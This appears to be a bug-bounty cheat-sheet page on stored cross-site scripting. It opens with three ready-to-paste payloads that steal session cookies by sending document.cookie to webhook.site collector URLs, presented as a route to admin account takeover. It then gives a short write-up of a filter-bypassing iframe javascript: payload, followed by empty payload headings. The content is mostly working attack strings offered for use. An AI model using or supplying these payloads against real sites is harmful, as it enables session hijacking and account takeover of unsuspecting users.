👑Find Stored - XSS (CWE-79)
Payloads for Stored XSS on Admin endpoint to Account Takeover use Cookie Stealing:
Note: if Simple Payload Not work the to encode the payloads in Base64 before inputting them
'"><img src="x" onerror="document.location='https://webhook.site/d5f5a3a4-0fd6-43af-8836-06cd4caf41fd?cookie='+document.cookie">
<img src=x onerror="document.location='https://webhook.site/33f747e2-fdb7-468d-b3ae-d114d94e2219?c='+document.cookie;">
"><script>document.write('<img src="https://webhook.site/33f747e2-fdb7-468d-b3ae-d114d94e2219?cookie='+document.cookie+'"/>')</script>Vulnerability Reported: Multiple Stored XSS to a Single Target.
Bounty: $$$$
I recently targeted an old program with very few reported vulnerabilities. Initially, I struggled to find any issues, but I decided to dig deeper. During my research, I discovered an input field that allowed HTML injection, despite having several restrictions:
- No "greater than" (>)
- No double or single quotes (", ')
- No JavaScript events (onload, onerror, etc.)
- No double slashes (//)
After experimenting for about 10-20 minutes, I crafted a payload that bypassed these limitations:
<iframe src=javascript:prompt`${origin}` xss
The XSS executed successfully, and the payload reflected in the code as:
<iframe src="javascript:prompt`${origin}`" xss="">Payloads
-------------------------------------------------------------
if "alert" , "confim" , "prompt" Not Allowed
-------------------------------------------------------------
if "Greater than" (>) Sign Not Allowed
-------------------------------------------------------------
if "Parentheses" ( ) Not Allowed
Last updated